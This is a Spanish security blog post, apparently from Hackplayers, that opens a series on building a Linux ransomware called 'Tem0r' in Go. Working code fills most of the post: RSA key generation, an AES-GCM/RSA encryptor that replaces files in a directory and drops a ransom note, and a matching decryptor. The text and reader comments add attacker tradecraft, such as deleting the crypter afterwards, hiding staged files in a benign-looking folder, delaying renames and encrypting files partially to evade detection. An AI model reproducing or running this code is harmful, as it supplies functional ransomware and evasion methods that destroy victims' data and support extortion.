Tem0r: construyendo un ransomware para Linux desde 0 (Parte 1)

En plena resaca de Halloween hoy vamos a comenzar con una serie de artículos para escribir algo que da mucho miedo: un artefacto de ransomware para Linux desde 0. Bautizado como Tem0r está escrito en lenguaje Go porque podrá ser más fácil exportarlo en un futuro a otras plataformas como Windows y sobretodo porque nos ofrece la posibilidad de tener binarios estáticos, es decir que no dependen de bibliotecas externas lo que simplifica mucho su distribución y ejecución.

Por supuesto, se trata de malware funcional por lo que se recomienda probarlo en una máquina virtual de prueba (en cualquier Ubuntu u otra distro debería funcionar) y nunca utilizarlo contra sistemas de terceros sin previo consentimiento. Que quede claro desde el principio que desde Hackplayers no nos responsabilizamos de cualquier uso debido o indebido del mismo

Por otro lado, comentar también que este artefacto se trata de código con propósito totalmente educacional, es decir, ni está optimizado ni pretender estarlo, simplemente está creado para poder compartir y aprender todos juntos puesto, creerme, debemos ser profundamente antagónicos a la seguridad por oscuridad. Y dicho ésto, ¡empezamos la serie!

Tem0r es un típico ransomware de doble extorsión: cifrará los datos de la víctima y los exfiltrará para pedir luego el rescate. A grandes rasgos en su versión básica lo que hará será crear un par de claves, enviará la clave cifrada al atacante, cifrará con la clave pública los archivos de la víctima y los enviará también durante el proceso. Ese es el core fundamental, luego publicaremos el código completo en Github e iremos añadiendo entre todos más variantes y funcionalidades en posteriores versiones.

Básicamente en esta primera entrada vamos a centrarnos en el proceso de cifrado. Para empezar, crearemos un pequeño script para generar en el directorio /tmp/dummy un número considerable de ficheros (200) emulando el directorio que el threat actor de turno cifrará y exfiltrará en su intrusión:

package main

import (
	cryptorand "crypto/rand"
	"fmt"
	"io"
	"math/rand"
	"os"
	"path/filepath"
	"strings"
	"time"
)

func main() {
	// Seed the math/rand package for randomness
	rand.Seed(time.Now().UnixNano())

	// Create the directory if it doesn't exist
	err := os.MkdirAll("/tmp/dummy", 0755)
	if err != nil {
		fmt.Println("Error creating directory:", err)
		return
	}

	// Define file extensions for text and binary files
	textExtensions := []string{".txt", ".log", ".csv"}
	binaryExtensions := []string{".bin", ".dat", ".jpg"}

	// Generate 200 files
	for i := 0; i < 200; i++ {
		// Decide on file type (50% chance of text or binary)
		isText := rand.Intn(2) == 0

		// Randomly choose an extension based on file type
		var extension string
		if isText {
			extension = textExtensions[rand.Intn(len(textExtensions))]
		} else {
			extension = binaryExtensions[rand.Intn(len(binaryExtensions))]
		}

		// Create the filename
		filename := filepath.Join("/tmp/dummy", fmt.Sprintf("dummy_%d%s", i, extension))

		// Open the file
		file, err := os.Create(filename)
		if err != nil {
			fmt.Println("Error creating file:", err)
			continue
		}

		// Write content based on file type
		if isText {
			// Generate random text content
			content := generateRandomText()
			_, err = file.WriteString(content)
		} else {
			// Generate random binary content (size between 100KB and 1MB)
			size := rand.Intn(900000) + 100000
			_, err = io.CopyN(file, cryptorand.Reader, int64(size))
		}

		if err != nil {
			fmt.Println("Error writing to file:", err)
			file.Close()
			continue
		}

		file.Close() // Close the file after writing
	}

	fmt.Println("200 dummy files created in /tmp/dummy")
}

// generateRandomText creates a random sentence for text files
func generateRandomText() string {
	words := []string{"example", "random", "data", "test", "file", "content", "dummy", "information"}
	sentenceLength := rand.Intn(20) + 5 // Random sentence length between 5 and 25 words
	var sentence []string
	for i := 0; i < sentenceLength; i++ {
		sentence = append(sentence, words[rand.Intn(len(words))])
	}
	return strings.Join(sentence, " ") + "\n"
}
Si lo compilamos y ejecutamos veremos que ya tenemos el target para probar nuestro ransomware:
$ go build 0_createdummy
$ ./0_createdummy 
200 dummy files created in /tmp/dummy

$ cat /tmp/dummy/dummy_193.csv 
content content example example file example

Por supuesto, un ransomware normal intentaría cifrar el directorio /home donde, entre otros, están los de escritorio, documentos y descargas. Además de directorios comunes del sistema a los que se permite normalmente acceso a todos los usuarios como /tmp o /var/tmp. La cosa sería ya más grave si quién ejecuta el ransomware tiene permisos elevados o root, en ese caso, estaría amenazada incluso la estabilidad del sistema si se cifran directorios como /etc, /var, /usr, /bin, /sbin. Y qué decir de aquellos que realizan backups y los dejan accesibles al sistema...


También es común en la mayoría de ransomwares, sobretodo los que van dirigidos de forma masiva a usuarios domésticos, cifrar sólo una serie de ficheros con determinada extensión. De esta manera el atacante agiliza el proceso de compromiso afectando rápidamente a los ficheros que tienen gran valor para el usuario, como documentos ofimaticos de trabajo, fotografías personales, proyectos, etc. Podéis imaginar que cifrar estos archivos hace que sean inaccesibles y obliga a la víctima a pagar el rescate para recuperarlos. Desafortunadamente el porcentaje de equipos de sobremesa a 2023 con Linux es sólo del 3,01% por lo que la estrategia de los artefactos de ransomware en Linux no suele estar enfocada a filtrar esas extensiones de fichero y directorios de usuario.

Volviendo a nuestro ransomware, lo que haremos primero es crear el par de claves RSA en el equipo de la victima. Veamos el fragmento de código, recordad en Go:

package main

import (
        "crypto/rand"
        "crypto/rsa"
        "crypto/x509"
        "encoding/pem"
        "fmt"
        "io/ioutil"
)

func generateRSAKey() error {
        // Generates a 2048-bit RSA key pair
        privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
        if err != nil {
                return err
        }

        // Encodes the private key in PEM format
        privDER := x509.MarshalPKCS1PrivateKey(privateKey)
        privBlock := pem.Block{
                Type:    "RSA PRIVATE KEY",
                Bytes:   privDER,
        }
        privPEM := pem.EncodeToMemory(&privBlock)

        // Write the private key to a file
        err = ioutil.WriteFile("private.key", privPEM, 0600)
        if err != nil {
                return err
        }

        // Encodes the public key in PEM format
        pubDER, err := x509.MarshalPKIXPublicKey(&privateKey.PublicKey)
        if err != nil {
                return err
        }
        pubBlock := pem.Block{
                Type:    "RSA PUBLIC KEY",
                Bytes:   pubDER,
        }
        pubPEM := pem.EncodeToMemory(&pubBlock)

        // Write the public key to a file
        err = ioutil.WriteFile("public.key", pubPEM, 0600)
        if err != nil {
                return err
        }

        return nil
}

func main() {
        err := generateRSAKey()
        if err != nil {
                fmt.Println("Error generating keys:", err)
        } else {
                fmt.Println("RSA keys generated successfully.")
} }
Básicamente si echáis un vistazo a este sencillo script y lo ejecutáis veréis que se generan las dos claves private.key y public.key de 2048 bits cada una, en formato PKCS#1 y PKIX respectivamente para acabar almacenándolas en PEM:
$ cat public.key

Evidentemente una vez generada la clave privada para descifrar lo que se hará será enviarla inmediatamente al atacante para luego proceder al cifrado con la clave pública. pero eso lo veremos en el siguiente post. En éste, como decíamos, vamos a centrarnos en el proceso de cifrado y descifrado. El siguiente script está diseñado para cifrar todos los archivos dentro del directorio específico utilizando una combinación de dos algoritmos de cifrado: AES para el cifrado de datos y RSA para la protección de la clave AES:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"crypto/rsa"
	"crypto/sha256"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
)

func main() {
	publicKeyFile := "public.key"
	sourceDir := "/tmp/dummy"

	// Load the public key
	publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
	if err != nil {
		fmt.Println("Error reading public key file:", err)
		return
	}
	block, _ := pem.Decode(publicKeyBytes)
	if block == nil {
		fmt.Println("Failed to decode PEM block containing the key")
		return
	}
	parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
	if err != nil {
		fmt.Println("Error parsing public key:", err)
		return
	}
	publicKey, ok := parsedKey.(*rsa.PublicKey)
	if !ok {
		fmt.Println("Error: loaded key is not an RSA public key")
		return
	}

	// Traverse all files in the source directory
	err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		if !info.IsDir() {
			fmt.Println("Encrypting file:", path)

			// Read the file
			data, err := ioutil.ReadFile(path)
			if err != nil {
				return fmt.Errorf("error reading file %s: %v", path, err)
			}

			// Generate a random AES key
			aesKey := make([]byte, 32) // AES-256 key size
			if _, err := rand.Read(aesKey); err != nil {
				return fmt.Errorf("error generating AES key: %v", err)
			}

			// Encrypt the file content using AES
			encryptedData, err := encryptAES(data, aesKey)
			if err != nil {
				return fmt.Errorf("error encrypting file data: %v", err)
			}

			// Encrypt the AES key using RSA and the public key
			encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
			if err != nil {
				return fmt.Errorf("error encrypting AES key: %v", err)
			}

			// Combine encrypted key and encrypted data
			finalData := append(encryptedKey, encryptedData...)

			// Save the encrypted file with .crypted extension, replacing the original
			newPath := path + ".crypted"
			err = ioutil.WriteFile(newPath, finalData, 0644)
			if err != nil {
				return fmt.Errorf("error writing encrypted file %s: %v", newPath, err)
			}
			fmt.Println("File encrypted and saved as:", newPath)

			// Delete the original file
			if err := os.Remove(path); err != nil {
				return fmt.Errorf("error deleting original file %s: %v", path, err)
			}
			fmt.Println("Original file deleted:", path)
		}
		return nil
	})
	if err != nil {
		fmt.Println("Error during directory encryption:", err)
		return
	}

	fmt.Println("All files encrypted and original files removed successfully.")
	
	
        // Create the ATTENTION.txt file in the source directory
        attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
        content := "this is only a PoC. Please, never pay for ransomware."
        err = ioutil.WriteFile(attentionFile, []byte(content), 0644)
        if err != nil {
                fmt.Println("Error creating ATTENTION.txt:", err)
                return
        }
        fmt.Println("ATTENTION.txt created in", sourceDir)
}

// encryptAES encrypts data using AES-GCM with the provided key.
func encryptAES(data, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	aesGCM, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}

	nonce := make([]byte, aesGCM.NonceSize())
	if _, err := rand.Read(nonce); err != nil {
		return nil, err
	}

	ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
	return ciphertext, nil
}
Esencialmente, convierte todos los archivos en una versión indescifrable sin la clave correcta. Pero veamos paso a paso nuestra estrategia: 

  1. Lee la clave pública del archivo "public.key".
  2. Verifica que la clave sea válida y la almacena en una variable.
  3. Recorre todos los archivos y para cada archivo:
  4. Genera una clave aleatoria AES de 256 bits.
  5. Cifra el contenido del archivo utilizando AES-GCM (Galois/Counter Mode) y la clave aleatoria recién generada.
  6. Cifra la clave AES utilizando la clave pública RSA para proteger la clave de cifrado (padding OAEP).
  7. Combina la clave AES cifrada y los datos del archivo cifrado en un único archivo.
  8. Guarda el archivo cifrado con una extensión ".crypted" en el mismo lugar donde estaba el archivo original.
  9. Elimina el archivo original.
  10. Crea un archivo llamado "ATTENTION.txt" dentro del directorio fuente cifrado.
  11. El archivo contiene el texto: "this is only a PoC. Please, never pay for ransomware." (Esto es solo una prueba de concepto. Por favor, nunca pague por un ransomware).

El siguiente paso es probar si funciona correctamente el cifrado:

Como veis todos los ficheros han sido modificados y renombrados con extensión .crypted y tenemos la nota de ransom avisando de que hemos sido comprometidos:

$ cat /tmp/dummy/ATTENTION.txt 

this is only a PoC. Please, never pay for ransomware.

Desde la perspectiva del atacante sería buena praxis borrar también el "crypter" recientemente usado y la clave pública una vez finalizado el proceso. Moviéndonos finalmente a la parte de descifrado, en el que la víctima recibe la clave privada correspondiente para llevarlo a cabo, los pasos serían previsiblemente los contrarios hasta recuperar cada uno de los ficheros originales. El script se muestra a continuación:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand" 
	"crypto/rsa"
	"crypto/sha256"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
)

func main() {
	privateKeyFile := "private.key"
	encryptedDir := "/tmp/dummy"

	// Load the private key for decryption
	privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
	if err != nil {
		fmt.Println("Error reading private key file:", err)
		return
	}
	block, _ := pem.Decode(privateKeyBytes)
	if block == nil {
		fmt.Println("Failed to decode PEM block containing the key")
		return
	}
	privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
	if err != nil {
		fmt.Println("Error parsing private key:", err)
		return
	}

	// Traverse all files in the encrypted directory
	err = filepath.Walk(encryptedDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		if !info.IsDir() && filepath.Ext(path) == ".crypted" {
			fmt.Println("Decrypting file:", path)

			// Read the encrypted file
			encryptedData, err := ioutil.ReadFile(path)
			if err != nil {
				return fmt.Errorf("error reading encrypted file %s: %v", path, err)
			}

			// Separate the encrypted AES key and encrypted file data
			encryptedKey := encryptedData[:privateKey.Size()]
			fileData := encryptedData[privateKey.Size():]

			// Decrypt the AES key using the private RSA key
			aesKey, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privateKey, encryptedKey, nil)
			if err != nil {
				return fmt.Errorf("error decrypting AES key: %v", err)
			}

			// Decrypt the file data using AES
			decryptedData, err := decryptAES(fileData, aesKey)
			if err != nil {
				return fmt.Errorf("error decrypting file data: %v", err)
			}

			// Save the decrypted file by removing the ".crypted" extension
			newPath := path[:len(path)-len(".crypted")]
			err = ioutil.WriteFile(newPath, decryptedData, 0644)
			if err != nil {
				return fmt.Errorf("error writing decrypted file %s: %v", newPath, err)
			}

			fmt.Println("File decrypted and saved as:", newPath)

			// Optionally delete the original encrypted file
			err = os.Remove(path)
			if err != nil {
				return fmt.Errorf("error removing encrypted file %s: %v", path, err)
			}
		}
		return nil
	})
	if err != nil {
		fmt.Println("Error during decryption process:", err)
		return
	}
	fmt.Println("All files decrypted successfully.")
}

// decryptAES decrypts data using AES-GCM with the provided key.
func decryptAES(data, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	aesGCM, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}

	nonceSize := aesGCM.NonceSize()
	nonce, ciphertext := data[:nonceSize], data[nonceSize:]

	plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
	if err != nil {
		return nil, err
	}

	return plaintext, nil
}
Y la explicación paso a paso a continuación:

  1. Se carga y decodifica la clave privada RSA (private.key), que es necesaria para descifrar la clave AES que protege el contenido de cada archivo.
  2. Recorre cada archivo, y si encuentra un archivo con la extensión .crypted, intenta descifrarlo.
  3. Para cada archivo .crypted encontrado lee su contenido completo y luego se separa en dos partes:
  4. La clave AES cifrada (almacenada al inicio del archivo de longitud fija de 256 bits)
  5. Los datos del archivo encriptado (el resto del archivo).
  6. La clave AES, que fue cifrada con la clave pública en el proceso de cifrado, es descifrada aquí usando la clave privada.
  7. Finalmente se descifran los datos cifrados del archivo utilizando la clave AES obtenida en el paso anterior.
  8. Una vez descifrado, se guarda el archivo original, eliminando la extensión .crypted.

Si lo ejecutáis, veréis que todos los archivos .crypted han sido restaurados a sus correspondientes homólogos originales.

Como habéis podido observar, tenemos el "ciclo" completo de cifrado y descifrado. Por favor, si veis una aproximación más eficiente, realista u otra alternativa para hacerlo no dudéis en comentar y proponer.

En la siguiente entrada (tampoco quiero aburriros demasiado hoy) veremos una estrategia para enviar la clave privada y los archivos cifrados (exfiltración) a la infraestructura del atacante. 

Y recordad, ¡mucha responsabilidad con estas cosas! 

Comentarios

  1. Le veo un punto flaco, si trabajas directamente en el directorio donde se encuentran los archivos originales y vas borrando según cifras es probable que el objetivo se entere de que esta siendo atacado antes de que el ramsomware termine de hacer su trabajo. Yo creo que sería mejor que:
    1. Se hace un listado de ficheros a cifrar
    2. Se cifran en un directorio oculto del home del usuario, preferiblemente algo que no suene malo como por ejemplo `.local/share/applications/backup`
    3. Una vez la lista este cifrada se mueven todos los archivos de `.local/share/applications/backup` a sus ubicaciones.
    4. Se borran los originales.

    Haciéndolo de esta forma el proceso final (mover y borrar) es mas rápido y hay menos posibilidades de que el usuario se entere en el medio de la jugada. Eso si, habría que controlar que estamos siempre en el mismo disco físico porque si no el mover llevaría tiempo.

    ResponderEliminar
    Respuestas
    1. Muy interesante approach, sin embargo no me convence del todo mover todos los ficheros cifrados y borrar los originales al final, más que nada porque si el proceso se interrumpe intencionadamente por el usuario o por el EDR el ransomware habrá fracasado completamente. Sin embargo si se van exfiltrando y eliminando individualmente cada fichero a lo malo tendrá asegurado un éxito parcial.
      Lo que si sería bastante opsec sería no renombrar los ficheros con la extensión .crypted hasta el final, mientras que se van sustituyendo "silenciosamente", yo creo que sería algo intermedio y lo más "óptimo".
      Todo esto sin tener en cuenta la velocidad de cifrado: habría que hacer pruebas de benchmark porque quizás el cifrado sea tan rápido que simplemente un humano no tendría tiempo de reaccionar.
      Muchas gracias por el aporte, lo tengo muy en cuenta! :)

      Eliminar
  2. y si solo se cifraran un % inicial de los archivos.. de forma de asegurarse que la cabecera - y algo más - de estos quede corrupta?
    El pro, es que acelera el proceso.
    La contra es que compromete la efectividad del ataque, dado que parcialmente la información es recuperable (me viene a la mente un pdf sin stream, o un archivo plano). Además, se cambia la estrategia... no se cifra "el archivo", sino un conjunto de "bytes" de este.

    ResponderEliminar
    Respuestas
    1. creo que es un buen método incluso se podría realizar en varias capas.. cifrar un %, exfiltrar, cifrar otro % y cifrar fichero completo. Gracias por el aporte!

      Eliminar
  3. ¿Cómo podría publicar contenidos pagado en vuestro blog?

    ResponderEliminar
    Respuestas
    1. absolutamente no se puede. No hay contenidos pagados, ni publicidad.

      Eliminar

Publicar un comentario